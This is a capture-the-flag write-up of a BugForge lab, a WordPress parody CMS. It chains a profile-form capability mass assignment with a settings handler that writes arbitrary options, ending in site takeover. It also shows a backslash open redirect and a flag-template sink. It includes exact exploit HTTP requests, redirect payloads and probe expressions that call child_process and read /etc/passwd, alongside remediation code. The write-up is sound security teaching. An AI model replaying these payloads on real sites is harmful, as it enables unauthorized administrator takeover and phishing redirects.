BugForge — 2026.08.28

WordMess: Capability Map Mass Assignment to Full Site Takeover

BugForge Capability Map Mass Assignment medium

Executive Summary

WordMess is a WordPress parody CMS running on Node/Express with server side templates, fronted by a fake bot gate called Forgeflare. It presents WordPress shaped surfaces: a /wp-admin panel, a /wp-json REST API with wp/v2 and batch/v1 namespaces, and the familiar role ladder from administrator down to subscriber. The role ladder is decorative. Authorization is decided by a capability map stored in user meta as wm_capabilities, and that map is reachable by the user it governs through their own profile form.

Testing confirmed three findings:

ID Title Severity CVSS CWE Endpoint
F1 Self service capability grant through the profile meta writer High 8.1 CWE-915, CWE-269 POST /wp-admin/profile.php
F2 Discussion settings handler persists arbitrary global options High 8.8 CWE-915, CWE-862 POST /wp-admin/options-discussion.php
F6 Open redirect in the Forgeflare interstitial via a backslash bypass Medium 4.3 CWE-601 GET /forgeflare/challenge

The identifiers are carried over from the engagement record and are not contiguous. F3 was the flag delivery mechanism, documented under Flag Recovery below rather than reported as a finding because it is not a vulnerability. F4 and F5 were candidate findings raised during testing and withdrawn on review, one as intended behavior and one as unproven; both are recorded at the end of this document.

F1 and F2 compose into full site takeover from an account anyone can create. F1 lifts a self registered subscriber to a set of 12 capabilities that approximates, but is not identical to, WordPress’s editor role, and in this application that set is enough to reach the Discussion settings screen. F2 then abuses that screen, which renders three checkboxes and persists whatever option keys the request carries, to set the site wide default_role to administrator. The next account to register is created as an administrator. The escalation never touches the role column: the account that carried out the second step still reported "role":"subscriber" while it was writing global configuration.


Objective

Solve a BugForge lab whose only hint was “Can you escalate your privileges?”, and confirm whether it repeats the WordMess rotation solved on 2026-07-31.

The lab reuses the WordMess name, skin, seeded posts and route index from that earlier rotation, but the planted bug is different. The earlier bug, an authorization index desynchronization in POST /wp-json/batch/v1 (CVE-2026-63030), is patched here: the canonical payload now returns correctly aligned verdicts, the ungated OPTIONS schema leak returns 404 rest_no_route, and the batch dispatcher propagates caller identity instead of running anonymously. The bug moved to a screen that did not exist in the previous rotation.


Scope / Initial Access

# Target Application
Instance 1 (solve):     https://lab-1787956578603-d4aj23.labs-app.bugforge.io/
Instance 2 (controls):  https://lab-1787959735330-b1bgrw.labs-app.bugforge.io/

# Auth details
Registration:        open, POST /wp-login.php?action=register
Session:             wordmess_session cookie (express-session, signed)
REST authentication: X-WP-Nonce header, value published in window.wpApiSettings
Starting privileges: subscriber, capability map {"read": true}
Edge control:        Forgeflare gate on /wp-json* and /wp-admin*, 16 bit
                     SHA-256 proof of work, forgeflare_clearance cookie,
                     Max-Age=60

Two lab instances were used. Instance 1 carried the original solve. Instance 2 was provisioned from the same build afterwards so that the root cause could be isolated on fresh accounts with a single variable moving at a time. Each instance issues its own flag. Every reproduction step below names the instance its evidence came from.

The Forgeflare gate is not a security boundary in practice. It is a 16 bit proof of work with a 60 second clearance cookie, and it was automated for the whole engagement in tools/ff.py, which solves and refreshes it in roughly 0.02 to 0.06 seconds per request. It is unchanged from the previous rotation and features here only because every request in this document carries its cookie.


Reconnaissance: Locating the Channel That Shows User Meta

The route surface was mapped from the published /wp-json index, the admin menu rendered for each seeded role, and a sweep of 13 routes against 7 verbs. The server route table matched the published index, so there were no unlisted handlers to work with, and the test plan came instead from what the visible handlers accept and what the visible read endpoints will show.

The observations that shaped the work:

  1. Registration is open (users_can_register=1), and the role assigned to a new account is read from the default_role option rather than fixed in the handler. That makes default_role a target the moment any option write becomes reachable.
  2. POST /wp-admin/profile.php accepts display_name, email and a meta object, and writes wm_capabilities from inside that object. Express parses bracket notation, so meta[wm_capabilities][list_users]=true arrives as a nested object.
  3. GET /wp-json/wp/v2/users/me does not return meta. Adding ?context=edit does. That parameter is the only channel in the mapped surface that shows the capability map, so without it a successful meta write and a rejected meta write produce identical evidence.
  4. A freshly registered account reads back {"id":34,"slug":"pwn58068","role":"subscriber","meta":{"wm_capabilities":{"read":true}}}. The authorization state is a map of capability names, not the role string sitting beside it.
  5. The admin menu is rendered per capability. A subscriber gets seven blank navigation slots where a privileged user gets links, which gives a second visible reading of the gate state that does not depend on the REST API.
  6. Cookie authenticated REST calls require an X-WP-Nonce header. Every admin page publishes the value in window.wpApiSettings, so holding a session is sufficient to obtain it. The nonce is stable per user across sessions and strictly bound to that user.

Observation 3 is the one that mattered. Point 4 confirms the capability map is the authorization state, and point 2 confirms the profile form writes into the object that holds it.


Application Architecture

Component Detail
Backend Node/Express with server side templates
Frontend Server rendered HTML, no client side application framework observed
Session wordmess_session, express-session signed cookie (s%3A...)
REST API WordPress shaped /wp-json, namespaces wp/v2 and batch/v1
REST authentication X-WP-Nonce header for cookie authenticated calls
Authorization Capability map in the wm_capabilities user meta key
Body parsing Accepts both application/x-www-form-urlencoded and application/json; bracket notation parses into nested objects
Edge Forgeflare gate on /wp-json* and /wp-admin*, SHA-256 proof of work
Database Not observable from the client

API Surface

Endpoint Method Auth Notes
/wp-login.php?action=register POST None Open registration, role read from default_role
/wp-admin/profile.php GET, POST Any user Writes meta[wm_*]; source of F1
/wp-admin/options-discussion.php GET, POST Editor capabilities Persists submitted options[...]; source of F2
/wp-json/wp/v2/users/me?context=edit GET Any user The only view of the capability map
/wp-json/wp/v2/users GET list_users Full account list including email addresses
/wp-admin/users.php GET list_users Same data rendered as a table
/wp-admin/edit-comments.php GET moderate_comments Moderation queue
/wp-admin/theme-editor.php GET, POST Administrator Footer template writer, flag delivery
/wp-json/wp/v2/plugins GET, POST Administrator Plugin activation
/wp-json/batch/v1 POST Caller identity Hardened this rotation, verdicts align
/forgeflare/challenge GET None Bot gate interstitial; source of F6

Known Users

Username Role
admin administrator
edith editor
aaron author
cora contributor
sam, reader42 subscriber

Email addresses follow <name>@wordmess.test and are exposed in full once list_users is held.


Attack Chain Visualization

┌─────────────────────┐     ┌──────────────────────────┐     ┌──────────────────────────┐
│  Open registration  │     │  F1  POST profile.php    │     │  F2  POST options-       │
│  role: subscriber   │ ──▶ │  meta[wm_capabilities]   │ ──▶ │      discussion.php      │
│  caps: {read:true}  │     │  12 editor capabilities  │     │  options[default_role]   │
│                     │     │  role STILL subscriber   │     │      = administrator     │
└─────────────────────┘     └──────────────────────────┘     └──────────────────────────┘
                                                                          │
       ┌──────────────────────────────────────────────────────────────────┘
       ▼
┌─────────────────────┐     ┌──────────────────────────┐     ┌──────────────────────────┐
│  Register a second  │     │  POST theme-editor.php   │     │  GET /                   │
│  account, created   │ ──▶ │  footer template         │ ──▶ │  flag rendered into the  │
│  as administrator   │     │  FLAG[<?wm ... ?>]FLAG   │     │  public site footer      │
└─────────────────────┘     └──────────────────────────┘     └──────────────────────────┘

Findings

No source code was available for this target. Every BEFORE (Vulnerable) block below is an illustrative reconstruction inferred from observed request and response behavior, not recovered source. The AFTER (Secure) blocks are recommendations against that inferred shape.

F1: Self service capability grant through the profile meta writer

Severity: High CVSS v3.1: 8.1 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N) CWE: CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes), CWE-269 (Improper Privilege Management) Endpoint: POST /wp-admin/profile.php Authentication required: Yes, any account. Registration is open, so the barrier is nominal.

Description

The profile handler accepts display_name, email and a meta object from the request body, and writes wm_capabilities from inside that object into the user record. That key is the object the application authorizes against. Nothing removes it from the writable set, so a user can edit the record that decides what that user is allowed to do.

The only control on the grant is an allowlist of capability names. Across 34 candidate names submitted in a single write:

  • Accepted (12): read, edit_posts, publish_posts, delete_posts, edit_others_posts, edit_published_posts, edit_pages, publish_pages, moderate_comments, manage_categories, upload_files, list_users.
  • Rejected (22): manage_options, activate_plugins, install_plugins, edit_plugins, delete_plugins, edit_users, create_users, delete_users, promote_users, switch_themes, edit_theme_options, export, import, update_core, unfiltered_html, along with role names and the wildcards * and all.

The accepted set approximates WordPress’s editor role without matching it, and the gap runs in both directions. It is a subset: a real editor also holds manage_links, edit_others_pages, delete_pages, delete_others_pages, delete_published_pages and the whole private post and page family, none of which this application grants. More usefully, it is not a clean editor ceiling either. list_users is an administrator capability in WordPress, held by Administrator and Super Admin only, and this application hands it to a self registered account. That one name is what opens the full user table with email addresses. Running the other way, unfiltered_html is an editor capability on single site WordPress, and this application refuses it.

The allowlist is therefore not a role tier. It is an application specific list that resembles the editor role while leaking one administrator capability out of it.

Isolating the control. The capability name is the whole filter. Neither the request encoding nor the value type has any effect. A seven arm matrix on instance 2, one fresh subscriber per arm, varied encoding, key and value type independently (rows grouped by outcome, not by arm letter):

Arm Encoding Capability key Value Write landed users.php
A form-urlencoded list_users "true" string Yes 403 to 200
E form-urlencoded list_users "1" string Yes 403 to 200
C JSON list_users true boolean Yes 403 to 200
D JSON list_users "true" string Yes 403 to 200
F JSON list_users 1 number Yes 403 to 200
B form-urlencoded administrator "true" string No 403 to 403
G JSON administrator true boolean No 403 to 403

Arm A is the plain form encoded case with a string value, and it grants the capability. Arms B and G send a role name where a capability name belongs and are correctly rejected under either encoding. The raw body from arm A:

_wpnonce=3230e2690f&display_name=cf_a01&email=cf_a01%40t.test&meta%5Bwm_capabilities%5D%5Blist_users%5D=true

The grant cannot be pushed past the accepted set by structural means. Prototype pollution through __proto__ and constructor.prototype both inside and above the capability object, duplicate JSON keys, case variants, trailing space and null byte key padding, array and object valued capabilities, and re-requesting rejected capabilities while already holding the accepted set were all rejected. F2, not a filter bypass, is what defeats the ceiling.

Impact

Vertical escalation from an openly registerable account, including one administrator tier capability that exposes the full account table with email addresses. It also enables F2.

Reproduction

Steps 1 to 4 run on instance 1 with account pwn58068. Step 5 runs on instance 2 with a fresh subscriber and a single write in between, so the gate changes are attributable to that one request.

Step 1: Register and log in

POST /wp-login.php?action=register HTTP/1.1
Host: lab-1787956578603-d4aj23.labs-app.bugforge.io
Content-Type: application/x-www-form-urlencoded
Cookie: forgeflare_clearance=<clearance>

user_login=pwn58068&user_email=pwn58068%40t.test&pwd=Passw0rd%2123

Response: 302 Found, Location: /wp-login.php?registered=1. Logging in at POST /wp-login.php returns a wordmess_session cookie.

Step 2: Read the capability map

GET /wp-json/wp/v2/users/me?context=edit HTTP/1.1
Host: lab-1787956578603-d4aj23.labs-app.bugforge.io
X-WP-Nonce: 091a627cd4
Cookie: forgeflare_clearance=<clearance>; wordmess_session=<session>

Response: 200 OK

{"id":34,"slug":"pwn58068","name":"pwn58068","email":"[email protected]","role":"subscriber","meta":{"wm_capabilities":{"read":true}}}

The starting state is a single capability. Without ?context=edit the meta object is absent from the response.

Step 3: Write the editor capability set

POST /wp-admin/profile.php HTTP/1.1
Host: lab-1787956578603-d4aj23.labs-app.bugforge.io
Content-Type: application/json
Cookie: forgeflare_clearance=<clearance>; wordmess_session=<session>

{"_wpnonce": "e8f9cc9a6f", "display_name": "pwn58068", "email": "[email protected]", "meta": {"wm_capabilities": {"read": true, "edit_posts": true, "edit_others_posts": true, "moderate_comments": true, "manage_categories": true, "upload_files": true, "list_users": true, "edit_pages": true, "publish_pages": true, "publish_posts": true, "delete_posts": true, "edit_published_posts": true}}}

Response: 302 Found, Location: /wp-admin/profile.php?saved=1. JSON is shown because that is what the recorded request used; the arm A body above achieves the same result form encoded.

Step 4: Re-read the capability map

GET /wp-json/wp/v2/users/me?context=edit HTTP/1.1
Host: lab-1787956578603-d4aj23.labs-app.bugforge.io
X-WP-Nonce: 091a627cd4
Cookie: forgeflare_clearance=<clearance>; wordmess_session=<session>

Response: 200 OK

{"id":34,"slug":"pwn58068","name":"pwn58068","email":"[email protected]","role":"subscriber","meta":{"wm_capabilities":{"read":true,"edit_posts":true,"edit_others_posts":true,"moderate_comments":true,"manage_categories":true,"upload_files":true,"list_users":true,"edit_pages":true,"publish_pages":true,"publish_posts":true,"delete_posts":true,"edit_published_posts":true}}}

All 12 capabilities are present and role is unchanged at subscriber.

Step 5: Confirm the gates moved (instance 2, one write from a fresh subscriber)

Gate Fresh subscriber After the write
GET /wp-admin/users.php 403 200, full account table with email addresses
GET /wp-json/wp/v2/users 401 200, 15 records
GET /wp-admin/options-discussion.php 403 200
GET /wp-admin/edit-comments.php 403 200
GET /wp-admin/post-new.php 403 200

The rendered admin menu makes the same point without the API: seven blank navigation slots before the write, Comments | Media | Users | Discussion after it, on one unchanged session, while the admin bar still reads Howdy, ... (subscriber).

Remediation

Fix 1: Remove the authorization state from the user writable set

// BEFORE (Vulnerable)
// Any meta key with the wm_ prefix is merged, including the capability map.
for (const [key, value] of Object.entries(body.meta || {})) {
  if (key.startsWith('wm_')) {
    user.meta[key] = value;
  }
}

// AFTER (Secure)
// The capability map is server state, not profile data. Allowlist the
// specific profile meta keys a user may edit and refuse everything else.
const USER_EDITABLE_META = new Set(['wm_bio', 'wm_display_url', 'wm_locale']);

for (const [key, value] of Object.entries(body.meta || {})) {
  if (USER_EDITABLE_META.has(key)) {
    user.meta[key] = value;
  }
}

Fix 2: Derive capabilities from the role instead of storing them per user

// BEFORE (Vulnerable)
function can(user, capability) {
  return user.meta.wm_capabilities?.[capability] === true;
}

// AFTER (Secure)
const ROLE_CAPABILITIES = {
  administrator: [...], editor: [...], author: [...],
  contributor: [...], subscriber: ['read'],
};

function can(user, capability) {
  return ROLE_CAPABILITIES[user.role]?.includes(capability) ?? false;
}

Additional recommendations:

  • An allowlist of grantable capability names is the wrong control. A user should not be able to grant themselves any capability, so the correct fix removes the write rather than narrowing it.
  • Log any request that attempts to write wm_capabilities. Under the corrected design there is no legitimate source for one.
  • Review every other wm_ key the profile form accepts. Whatever rule admits them, it admitted a security relevant key into a user editable form, so the rest of the set deserves the same scrutiny.

F2: Discussion settings handler persists arbitrary global options

Severity: High CVSS v3.1: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) CWE: CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes), CWE-862 (Missing Authorization) Endpoint: POST /wp-admin/options-discussion.php Authentication required: Yes, an account holding editor capabilities. Every test here used an account elevated through F1. The application’s seeded editor account holds the same capabilities and would not need F1, but it was not used and that path was not exercised.

Description

The Discussion settings screen renders three controls: comment_moderation, comment_registration and default_comment_status. The handler behind it persists the entire submitted options object rather than restricting the write to the three keys the screen owns. Any global option becomes writable, including options that should require manage_options, which is precisely the capability F1 cannot grant.

Setting default_role=administrator turns open registration into an administrator factory, because the registration handler reads the role for a new account from that option.

Scope is arbitrary global options, not the one key. Demonstrated on instance 2 by an account holding editor capabilities through F1, after resetting default_role to subscriber first:

Option written by an editor Before After
default_role subscriber administrator
admin_email [email protected] [email protected]
siteurl http://localhost:3000 http://pwned.test
posts_per_page 10 1

In a real deployment admin_email is the more damaging of the four, since it is the recovery and notification destination, and control of siteurl affects where the application tells browsers to load resources from.

The root cause is stated as observed behavior. No source was available, so the description above reports which keys were submitted and which values were read back afterwards.

Impact

Full site takeover. An editor becomes an administrator by way of the next account registration.

Reproduction

Steps run on instance 1 with the account from F1. The isolation step at the end is from instance 2.

Step 1: Fetch the form nonce

GET /wp-admin/options-discussion.php HTTP/1.1
Host: lab-1787956578603-d4aj23.labs-app.bugforge.io
Cookie: forgeflare_clearance=<clearance>; wordmess_session=<session>

Response: 200 OK. The screen renders three checkboxes and a _wpnonce value.

Step 2: Submit the three real controls plus one extra key

POST /wp-admin/options-discussion.php HTTP/1.1
Host: lab-1787956578603-d4aj23.labs-app.bugforge.io
Content-Type: application/x-www-form-urlencoded
Cookie: forgeflare_clearance=<clearance>; wordmess_session=<session>

_wpnonce=f83183191c&options%5Bcomment_moderation%5D=1&options%5Bdefault_comment_status%5D=open&options%5Bdefault_role%5D=administrator

Response: 302 Found, Location: /wp-admin/options-discussion.php?saved=1. The handler accepts the write with no error on the unexpected key.

Step 3: Register a fresh account

POST /wp-login.php?action=register HTTP/1.1
Host: lab-1787956578603-d4aj23.labs-app.bugforge.io
Content-Type: application/x-www-form-urlencoded
Cookie: forgeflare_clearance=<clearance>

user_login=pwn58068adm&user_email=pwn58068adm%40t.test&pwd=Passw0rd%2123

Response: 302 Found, Location: /wp-login.php?registered=1. Logging in with this account returns a session holding administrator capabilities, which reaches /wp-admin/plugins.php, /wp-admin/options-general.php, /wp-admin/theme-editor.php, GET /wp-json/wp/v2/settings and plugin activation through POST /wp-json/wp/v2/plugins.

Step 4: Isolate the cause (instance 2)

A registration taken between the two writes separates their effects:

register after the capability write, before the options write  ->  il_afterA  (subscriber)
register after the options write                              ->  il_afterB  (administrator)

The role flip is caused by the options write. The capability write alone does not produce it.

Remediation

Fix 1: Restrict the handler to the keys its screen owns

// BEFORE (Vulnerable)
// Whatever the caller submits under options[...] is persisted.
for (const [key, value] of Object.entries(req.body.options || {})) {
  await settings.set(key, value);
}

// AFTER (Secure)
const DISCUSSION_OPTIONS = new Set([
  'comment_moderation', 'comment_registration', 'default_comment_status',
]);

for (const [key, value] of Object.entries(req.body.options || {})) {
  if (!DISCUSSION_OPTIONS.has(key)) {
    return res.status(400).send('Unknown setting');
  }
  await settings.set(key, value);
}

Fix 2: Gate every option write on the capability that owns it

// BEFORE (Vulnerable)
// Reaching the screen is treated as sufficient authority to write settings.
router.post('/wp-admin/options-discussion.php', requireCap('moderate_comments'), saveOptions);

// AFTER (Secure)
// Screen access and configuration write are separate decisions, and the
// check runs in the writer rather than only on the route.
router.post('/wp-admin/options-discussion.php', requireCap('moderate_comments'), (req, res) => {
  if (!can(req.user, 'manage_options')) {
    return res.status(403).send('Not allowed');
  }
  return saveOptions(req, res);
});

Additional recommendations:

  • Treat default_role as security relevant configuration. Restrict the values it accepts to roles at or below subscriber, so that even an authorized write cannot make registration hand out administrator accounts.
  • Reject unknown keys loudly rather than persisting them. The silent ?saved=1 on an unexpected key is what makes this exploitable without any error to investigate.
  • Record an audit entry for every global option change, including the account that made it.

F6: Open redirect in the Forgeflare interstitial via a backslash bypass

Severity: Medium CVSS v3.1: 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N) Scoring note: the widely published open redirect vector is 6.1 using S:C/C:L/I:L. The C:L there reflects script execution or credential exposure at the destination, neither of which was demonstrated here, so confidentiality is scored C:N. With C:N/I:L the score is 4.3 whether scope is Unchanged or Changed. CWE: CWE-601 (URL Redirection to Untrusted Site) Endpoint: GET /forgeflare/challenge?to=<path> Authentication required: No

Description

The bot gate interstitial reflects its to parameter into the page’s ff-data JSON, and the page script assigns that value to the destination link:

if (FF.to) link.setAttribute('href', FF.to);

The sanitizer rejects the obvious off site forms. Across 14 payloads, https://evil.test/, //evil.test, javascript:alert(1), \/evil.test, %2f%2fevil.test, https:evil.test and http://evil.test all collapse to /. The backslash variant is not covered: /\evil.test is reflected verbatim, as is /\\evil.test. Browsers normalize /\ to // per the URL specification, so the link as written resolves to https://evil.test. The reflection and the href assignment were observed directly; the resulting navigation follows from that normalization rule and was not captured.

The defect sits in the security control itself. A visitor who clicks “Continue to WordMess” is sent off site from a page whose entire presentation is a trusted security check, which makes it a more credible phishing lure than a redirect on an ordinary application page.

Impact

A visitor following the interstitial link can be sent to an attacker chosen site. Requires one click.

Reproduction

Step 1: Request the interstitial with a backslash prefixed target

GET /forgeflare/challenge?to=%2F%5Cevil.test HTTP/1.1
Host: lab-1787959735330-b1bgrw.labs-app.bugforge.io

Response: 200 OK. The ff-data JSON carries "to": "/\\evil.test" unmodified, and the page script writes it into the href of the continue link. For contrast, ?to=//evil.test on the same instance is reflected as /.

Remediation

Fix 1: Normalize before validating, and accept only a relative path

// BEFORE (Vulnerable)
// Rejects specific off site spellings, and misses the backslash form.
function sanitizeTo(to) {
  if (!to) return '/';
  if (to.startsWith('//') || /^[a-z]+:/i.test(to) || to.startsWith('\\/')) return '/';
  return to;
}

// AFTER (Secure)
// Normalize backslashes first, then require a single leading slash.
function sanitizeTo(to) {
  if (!to) return '/';
  const normalized = to.replace(/\\/g, '/');
  if (!/^\/[^/]/.test(normalized)) return '/';
  return normalized;
}

Additional recommendations:

  • Prefer an allowlist of known internal destinations over any string filter on user input.
  • Where a general destination really is required, store it server side against the clearance record and reference it by an identifier, so the value never travels through the query string.

Flag Recovery

The flag is delivered through /wp-admin/theme-editor.php, an administrator only screen that writes a footer template supporting {{ placeholder }} substitution and <?wm ... ?> blocks, rendered into the public site footer.

POST /wp-admin/theme-editor.php HTTP/1.1
Host: lab-1787956578603-d4aj23.labs-app.bugforge.io
Content-Type: application/x-www-form-urlencoded
Cookie: forgeflare_clearance=<clearance>; wordmess_session=<administrator session>

_wpnonce=96f3eae77e&template=FLAG%5B%3C%3Fwm+process.env.FLAG+%3F%3E%5DFLAG

Requesting GET / then returns the rendered footer:

FLAG[bug{NZztRUYN7ViGumviw6ieQuK4B5Km4Ctu}]FLAG

Instance 2 issues its own value, bug{g79pfWtyJ6n6ZDHTYjTI8H9UihFpgAqt}.

This sink is a scoring tripwire and is not reported as remote code execution. A 10 expression control batch on instance 2, with the rendered output saved, shows the block resolving a named allowlist rather than evaluating anything:

Expression Renders
<?wm year ?> 2026
<?wm blogname ?> WordMess
<?wm 2+2 ?> empty
<?wm banana ?> empty
<?wm require('child_process').execSync('echo AAAA') ?> the flag, not AAAA
<?wm require('fs').readFileSync('/etc/passwd','utf8') ?> the flag, not the file
<?wm process.env.PATH ?> the flag, not PATH
<?wm require ?> and <?wm process ?> the flag

Arithmetic returns empty, so nothing is being evaluated, and every expression containing a dangerous token returns the same constant rather than its own output. echo AAAA would print AAAA if it ran. The discriminator is worth keeping: a sink that returns a constant for require and for process alike is matching on tokens, not executing them.

The {{ }} half of the same template was only exercised with blogname, so this characterizes the <?wm ?> block only. It is not a statement that the template engine contains no evaluating sink anywhere.


OWASP Top 10 Coverage

  • A01:2021 Broken Access Control: F1 lets an account edit the record that decides its own permissions, F2 lets an editor write configuration that should require manage_options, and F6 lets an unauthenticated visitor control where the interstitial link points.
  • A04:2021 Insecure Design: Storing the authorization state as a user meta key placed it inside a form whose purpose is editing user meta. The capability name allowlist is a control added on top of that design rather than a correction of it, which is why it caps the grant at editor instead of preventing it.

Tools Used

Tool Purpose
Caido Request interception, replay and evidence capture
tools/ff.py Forgeflare proof of work solver and clearance cookie refresh. Written for this engagement and not published; the 60 second clearance means any replay needs an equivalent solver
tools/replay.py End to end chain replay from a clean baseline
Python (requests) Control matrices for the capability allowlist, sanitizer and template sink
curl Individual request checks

References


Failed Approaches

Approach Result Why It Failed
Replaying the previous rotation’s batch/v1 index desynchronization 403, verdicts correctly aligned The component was patched between rotations, as described under Objective
Role names inside the capability map, for example meta[wm_capabilities][administrator]=true Write dropped, gates unchanged administrator is a role, not a capability. The store and the key were right, the vocabulary inside the key was wrong
Mass assignment of role on registration and on profile, 17 variants No change to role Genuine field whitelist on the role field itself
Requesting rejected capabilities directly through F1 Silently dropped The allowlist matches on capability name, and admin tier names such as manage_options and activate_plugins are not on it
Structural bypasses of that allowlist (prototype pollution, duplicate keys, case variants, key padding, array and object values) All rejected The allowlist matches on the capability name after parsing, so key shape tricks do not reach it. Enumerated in F1
batch/v1 traversal, non REST dispatch, sub request header injection, nesting, cardinality at 0, 1, 25 and 26 Correctly gated, maxItems enforced 13 path spellings including %2e, // and %75 all resolved before the authorization decision
REST nonce forgery and cross user reuse Rejected Stable per user but strictly bound to that user, with no md5, sha1 or sha256 derivation from user fields
Hidden route and verb discovery, 13 routes against 7 verbs Server route table matched the published index No unlisted handlers to reach
SQL injection, template injection, XSS and command injection across every input field No behavior change Inputs escaped, parameterized and type checked
Unicode normalization username collision Structurally blocked An ASCII character set filter runs before any normalization step where a collision could be planted
Ambiguous login selector via duplicate email Rejected The login selector is exact and case sensitive
Filter object bypass on list endpoints, for example filter[status][$ne] No change in results The filter axis is inert
Source map, .git and .env disclosure Nothing served No build artifacts exposed
POST /wp-admin/comment-action for cross user comment moderation 403 for a genuine subscriber, with its own nonce and with an editor’s nonce The do parameter accepts arbitrary values but the action itself is authorization gated
wm_theme_mods nested object key injection as a second template sink No evaluation Nested values are coerced with String() to the literal [object Object]. Data integrity bug only, and it leaves the option corrupted

Candidate findings withdrawn during verification

Two findings, F4 and F5, were reported during testing and withdrawn on review, one as intended behavior and one as unproven. Both are recorded here because the reasoning is more useful than the claims were.

F4, username enumeration on registration. Withdrawn as intended behavior. A registration form reporting that a name is taken is a functional requirement, no rate limiting aggravator was ever tested, and login returns a uniform 401. The seeded identities are already published as bylines on the unauthenticated homepage. The stated impact, that it names targets for the other findings, was factually wrong: the working chain is entirely self directed and never touches admin or edith.

F5, email address uniqueness. Withdrawn as unproven. The only success signal was the 302 ?saved=1 from profile.php, which this engagement went on to show is returned for writes the handler silently discards, and the read channel that could have confirmed persistence was found later and never fired at the duplicate. The mapped route surface contains no password reset, magic link or other email keyed flow, so there is no consequence to attach to it either way.


Tags: #privilege-escalation #mass-assignment #broken-access-control #capability-model #open-redirect #bugforge #wordpress Document Version: 1.0 Last Updated: 2026-08-29

#mass-assignment #broken-access-control #privilege-escalation #capability-model #open-redirect #wordpress #cwe-915 #bugforge